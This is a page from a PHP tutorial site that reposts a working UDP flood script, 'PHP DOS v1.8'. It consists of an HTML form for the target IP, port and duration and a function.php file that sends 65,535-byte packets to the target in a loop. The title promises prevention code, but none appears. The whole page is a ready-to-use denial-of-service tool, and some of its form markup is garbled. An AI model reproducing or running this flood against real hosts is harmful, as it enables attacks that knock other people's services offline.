Home > Backend Development > PHP Tutorial > Ddos attack and prevention code under php

Ddos attack and prevention code under php

WBOY
Release: 2016-07-25 09:05:14
Original
2328 people have browsed it
  1. $ip = $_SERVER['REMOTE_ADDR'];
  2. ?>
  3. PHP DoS, Coded by EXE



  4. Your IP: (Don't DoS yourself nub)

  5. IP:
  6. Time:
  7. Port:




  8. After initiating the DoS attack, please wait while the browser loads.
复制代码

文件:function.php

  1. //=========================================
  2. //PHP DOS v1.8 (Possibly Stronger Flood Strength)
  3. //Coded by EXE
  4. //@link http://bbs.it-home.org
  5. //=========================================
  6. $packets = 0;
  7. $ip = $_POST['ip'];
  8. $rand = $_POST['port'];
  9. set_time_limit(0);
  10. ignore_user_abort(FALSE);
  11. $exec_time = $_POST['time'];
  12. $time = time();
  13. print "Flooded: $ip on port $rand

    ";
  14. $max_time = $time+$exec_time;
  15. for($i=0;$i<65535;$i++){
  16. $out .= "X";
  17. }
  18. while(1){
  19. $packets++;
  20. if(time() > $max_time){
  21. break;
  22. }
  23. $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
  24. if($fp){
  25. fwrite($fp, $out);
  26. fclose($fp);
  27. }
  28. }
  29. echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s n";
  30. ?>
复制代码


source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template